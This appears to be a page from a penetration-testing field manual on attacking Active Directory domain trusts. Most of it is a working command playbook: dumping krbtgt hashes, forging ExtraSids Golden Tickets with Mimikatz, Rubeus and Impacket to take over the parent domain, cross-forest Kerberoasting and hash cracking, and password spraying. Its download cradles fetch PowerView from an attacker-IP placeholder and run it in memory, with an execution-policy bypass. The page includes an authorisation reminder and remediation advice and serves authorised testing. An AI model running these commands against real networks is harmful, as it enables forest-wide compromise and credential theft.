AD Domain Trusts

🛡️ Methodology Checklist

Map trusts: Get-DomainTrust or nltest /domain_trusts
Identify trust direction and transitivity
BloodHound: review cross-domain paths
SID filtering status: check if SID history is filtered
Child→Parent escalation: raiseChild.py or Mimikatz ExtraSids
Cross-forest trust abuse: identify users with cross-forest rights
Document all trusts and attack paths for report

🎯 Operational Context

Use when: Domain trust relationships identified — abuse intra-forest or cross-forest trusts to escalate from child to parent domain or access trusted domains. Think Dumber First: Child domain DA → Parent domain DA via SID history injection is a single Mimikatz command if SID filtering is disabled. nltest /domain_trusts to list trusts; Get-DomainTrust for detailed info. Look for bidirectional trusts with unconstrained delegation. Skip when: SID filtering enabled on all trusts — SID history injection blocked; focus on constrained delegation abuse instead.

⚡ Tactical Cheatsheet

Command	Tactical Outcome
`Get-ADTrust -Filter *`	Enumerate all domain trust relationships (native AD module)
`Get-DomainTrust`	PowerView — enumerate trusts
`Get-DomainTrustMapping`	PowerView — recursive trust mapping across all domains
`Get-DomainUser -Domain [TARGET_DOMAIN] \| select SamAccountName`	Enumerate users in a trusted domain
`netdom query /domain:[DOMAIN] trust`	Built-in: list trust relationships
`netdom query /domain:[DOMAIN] dc`	Built-in: list domain controllers
`mimikatz # lsadump::dcsync /user:[CHILD_NETBIOS]\krbtgt`	Dump child domain krbtgt hash
`Get-DomainSID`	PowerView — get current domain SID
`Get-DomainGroup -Domain [PARENT_DOMAIN] -Identity "Enterprise Admins" \| select objectsid`	Get parent EA group SID (ends in -519)
`mimikatz # kerberos::golden /user:[FAKE_USER] /domain:[CHILD_FQDN] /sid:[CHILD_SID] /krbtgt:[HASH] /sids:[EA_SID] /ptt`	Forge ExtraSids Golden Ticket (Windows)
`.\Rubeus.exe golden /rc4:[HASH] /domain:[CHILD_FQDN] /sid:[CHILD_SID] /sids:[EA_SID] /user:[FAKE_USER] /ptt`	Forge ExtraSids Golden Ticket via Rubeus
`lookupsid.py [CHILD_DOMAIN]/[USER]@[CHILD_DC_IP] \| grep "Domain SID"`	Linux — get child domain SID
`secretsdump.py [CHILD_DOMAIN]/[USER]@[CHILD_DC_IP] -just-dc-user [CHILD_NETBIOS]/krbtgt`	Linux — dump krbtgt hash
`lookupsid.py [CHILD_DOMAIN]/[USER]@[PARENT_DC_IP] \| grep -B12 "Enterprise Admins"`	Linux — get parent EA SID
`ticketer.py -nthash [HASH] -domain [CHILD_FQDN] -domain-sid [CHILD_SID] -extra-sid [EA_SID] [FAKE_USER]`	Linux — forge ExtraSids Golden Ticket
`export KRB5CCNAME=[FAKE_USER].ccache`	Load ticket for Impacket use
`psexec.py [CHILD_DOMAIN]/[FAKE_USER]@[PARENT_DC_FQDN] -k -no-pass -target-ip [PARENT_DC_IP]`	Access parent DC via forged ticket
`raiseChild.py -target-exec [PARENT_DC_IP] [CHILD_FQDN]/[ADMIN_USER]`	Automated child→parent compromise
`Get-DomainUser -SPN -Domain [FOREIGN_DOMAIN] \| select SamAccountName`	Cross-forest — find Kerberoastable accounts in foreign domain
`.\Rubeus.exe kerberoast /domain:[FOREIGN_DOMAIN] /user:[SPN_USER] /nowrap`	Cross-forest Kerberoasting
`GetUserSPNs.py -target-domain [FOREIGN_DOMAIN] -request [CURRENT_DOMAIN]/[USER] -outputfile hashes.txt`	Linux — cross-forest Kerberoasting
`Get-DomainForeignGroupMember -Domain [FOREIGN_DOMAIN]`	Find users from current domain in foreign domain’s groups
`Convert-SidToName [SID]`	Resolve raw SID to account name
`bloodhound-python -d [FOREIGN_DOMAIN] -dc [FOREIGN_DC] -c All -u [USER]@[CURRENT_DOMAIN] -p [PASS]`	Ingest foreign domain into BloodHound (UPN format for username)

🔬 Deep Dive & Workflow

Loading PowerView

The Get-Domain* and Convert-SidToName commands on this page (Get-DomainTrust, Get-DomainTrustMapping, Get-DomainSID, Get-DomainGroup, Get-DomainForeignGroupMember, Get-DomainUser) are PowerView functions — they don’t exist until PowerView.ps1 is loaded into the session. The native Get-ADTrust, nltest /domain_trusts, and netdom query alternatives need no loading.

Get PowerView onto the attacker machine (PowerSploit dev branch):

wget https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1
# Kali/Parrot also ships it: /usr/share/windows-resources/powersploit/Recon/PowerView.ps1

Host it from the directory containing PowerView.ps1:

python3 -m http.server 8000

Option A — In-memory (download cradle, no disk write): preferred — never touches disk, unaffected by execution policy.

IEX (New-Object Net.WebClient).DownloadString('http://[ATTACKER_IP]:8000/PowerView.ps1')
# PowerShell 3+ alternative
IEX (iwr -UseBasicParsing 'http://[ATTACKER_IP]:8000/PowerView.ps1')

Option B — Transfer to disk, then import:

iwr -UseBasicParsing 'http://[ATTACKER_IP]:8000/PowerView.ps1' -OutFile C:\Temp\PowerView.ps1
Import-Module C:\Temp\PowerView.ps1   # or: . C:\Temp\PowerView.ps1

Verify it loaded — run any PowerView function:

Get-DomainSID

If execution policy blocks the disk import, launch with powershell -ep bypass or use the in-memory IEX method (Option A), which execution policy does not affect. Each new shell starts clean — reload PowerView in every fresh session. See AD_ACL_Abuse for SMB hosting and additional transfer methods, and File_Transfer_Windows for more ways to get the script onto the target.

Trust Types

Type	Direction	Transitivity	Common Scenario
Parent-Child	Bidirectional	Transitive	Sub-domains in same forest
Tree-Root	Bidirectional	Transitive	Root of domain tree
External	One-way or bidirectional	Non-transitive	Acquired company
Forest	Bidirectional	Transitive	Partner organization

Key BloodHound query: “Map Domain Trusts” — visualizes all bidirectional and one-way paths.

Rules of engagement: Always verify trusted domains are explicitly in-scope before crossing trust boundaries. Do not attack acquired companies or MSPs without authorization.

Child → Parent: ExtraSids Golden Ticket Attack

SID Filtering is disabled within the same forest by default. A compromised child domain’s krbtgt hash lets you forge a Golden Ticket with the parent’s Enterprise Admins SID injected into ExtraSids — the parent DC trusts it blindly.

Prerequisite: Domain Admin in the child domain.

Windows path (Mimikatz + Rubeus):

# 1. Dump child krbtgt
mimikatz # lsadump::dcsync /user:[CHILD_NETBIOS]\krbtgt
 
# 2. Get child domain SID (also visible in step 1 output)
Get-DomainSID
 
# 3. Get parent EA SID (always ends in -519)
Get-DomainGroup -Domain [DOMAIN] -Identity "Enterprise Admins" | select objectsid
 
# 4. Forge Golden Ticket — inject EA SID into ExtraSids
mimikatz # kerberos::golden /user:hacker /domain:[CHILD_DOMAIN] /sid:[CHILD_SID] /krbtgt:[HASH] /sids:[EA_SID] /ptt
 
# OR via Rubeus
.\Rubeus.exe golden /rc4:[HASH] /domain:[CHILD_DOMAIN] /sid:[CHILD_SID] /sids:[EA_SID] /user:hacker /ptt
 
# 5. Verify + access parent DC
klist
ls \\[DC01].[DOMAIN]\c$    # double backslash required
mimikatz # lsadump::dcsync /user:[NETBIOS]\administrator /domain:[DOMAIN]

Linux path (Impacket):

lookupsid.py [CHILD_DOMAIN]/[ADMIN_USER]@[TARGET_IP] | grep "Domain SID"
secretsdump.py [CHILD_DOMAIN]/[ADMIN_USER]@[TARGET_IP] -just-dc-user [CHILD_NETBIOS]/krbtgt
lookupsid.py [CHILD_DOMAIN]/[ADMIN_USER]@[DC_IP] | grep -B12 "Enterprise Admins"
 
ticketer.py -nthash [HASH] -domain [CHILD_DOMAIN] -domain-sid [CHILD_SID] -extra-sid [EA_SID] hacker
export KRB5CCNAME=hacker.ccache
psexec.py [CHILD_DOMAIN]/hacker@[DC01].[DOMAIN] -k -no-pass -target-ip [DC_IP]

Automated (when environment permits):

raiseChild.py -target-exec [DC_IP] [CHILD_DOMAIN]/[ADMIN_USER]

Critical gotchas:

No space after : in Mimikatz flags (/sid:S-1-... not /sid: S-1-...) — space = corrupted ticket
/user: can be any fake name; does not need to exist in the child domain
Linux: must export KRB5CCNAME before running Impacket; use -k -no-pass flags

Cross-Forest Trust Attacks

Works against bidirectional forest trusts or when the foreign domain trusts yours (inbound/outbound trust direction matters).

Cross-Forest Kerberoasting:

# Enumerate foreign SPN accounts
Get-DomainUser -SPN -Domain [FOREIGN_DOMAIN] | select SamAccountName
# Check their group memberships in the foreign domain
Get-DomainUser -Domain [FOREIGN_DOMAIN] -Identity [SPN_USER] | select memberof
 
# Roast — MUST specify /domain or Rubeus only searches local domain
.\Rubeus.exe kerberoast /domain:[FOREIGN_DOMAIN] /user:[SPN_USER] /nowrap

# Linux equivalent
GetUserSPNs.py -target-domain [FOREIGN_DOMAIN] -request [DOMAIN]/[USER] -outputfile hashes.txt
hashcat -m 13100 hashes.txt /usr/share/wordlists/rockyou.txt

Cross-Forest Foreign Group Memberships:

Get-DomainForeignGroupMember -Domain [FOREIGN_DOMAIN]
Convert-SidToName S-1-5-21-...  # resolve any raw SIDs returned
 
# If you control that account, authenticate across the trust
$pass = ConvertTo-SecureString '[PASS]' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential('[NETBIOS]\adminuser', $pass)
Enter-PSSession -ComputerName [FOREIGN_DC].[FOREIGN_DOMAIN] -Credential $cred

BloodHound cross-forest ingestion:

# Must update /etc/resolv.conf to point at foreign DC before ingesting foreign domain
# Username MUST use UPN format: user@domain.local (not DOMAIN\user)
bloodhound-python -d [FOREIGN_DOMAIN] -dc [FOREIGN_DC].[FOREIGN_DOMAIN] -c All -u [USER]@[DOMAIN] -p [PASS]

Then use Users with Foreign Domain Group Membership query in BloodHound Analysis tab.

Password reuse check: If you crack a cross-forest SPN (e.g., mssqlsvc), always spray that password against similarly named accounts in your current domain — admins frequently reuse service account passwords across forests.

🛠️ Troubleshooting & Edge Cases

Problem	Cause	Fix
SID history attack fails	SID filtering enabled	Check: `Get-DomainTrust` for SIDFilteringEnabled=True; if filtered, try alternative trust abuse
Inter-forest TGT request fails	Trust type wrong	External trust uses different Kerberos flow than forest trust; check trust type before crafting ticket
Child domain exploit requires DA but only have user	Need child domain DA first	Kerberoast or AS-REP roast in child domain for service accounts with high privilege
Foreign group membership not visible	Cross-forest LDAP not accessible	Use `Get-DomainForeignGroupMember` from child domain; may need to specify `-Domain [PARENT]`
Trust ticket generation fails	Wrong SID format	Use SID format: `S-1-5-21-[PARENT_DOMAIN_SID]-519` for Enterprise Admins target group

📝 Reporting Trigger

Finding Title: Domain Trust Misconfiguration Enables Cross-Domain Privilege Escalation Impact: Improperly configured domain trusts with SID filtering disabled allow an attacker who compromises a child domain to escalate to parent domain/Enterprise Admin via SID history injection, compromising the entire AD forest from a single domain entry point. Root Cause: Trust relationship configured without SID filtering. No monitoring of cross-domain privilege escalation attempts. Recommendation: Enable SID filtering on all trust relationships (accept that some legacy applications may break). Enable selective authentication on cross-forest trusts. Implement Microsoft Defender for Identity cross-domain monitoring. Audit trust relationships quarterly.

AD_Kerberoasting
AD_DCSync
Pass_the_Ticket_Windows
AD_Credentialed_Enum_Linux
AD_ACL_Abuse — full PowerView hosting/loading reference
File_Transfer_Windows — more ways to get PowerView onto the target

Field Manual

Explorer

AD Domain Trusts

🛡️ Methodology Checklist

🎯 Operational Context

⚡ Tactical Cheatsheet

🔬 Deep Dive & Workflow

Loading PowerView

Trust Types

Child → Parent: ExtraSids Golden Ticket Attack

Cross-Forest Trust Attacks

🛠️ Troubleshooting & Edge Cases

📝 Reporting Trigger

Graph View

Table of Contents

Backlinks

Field Manual

Explorer

AD Domain Trusts

🛡️ Methodology Checklist

🎯 Operational Context

⚡ Tactical Cheatsheet

🔬 Deep Dive & Workflow

Loading PowerView

Trust Types

Child → Parent: ExtraSids Golden Ticket Attack

Cross-Forest Trust Attacks

🛠️ Troubleshooting & Edge Cases

📝 Reporting Trigger

🔗 Related Nodes

Graph View

Table of Contents

Backlinks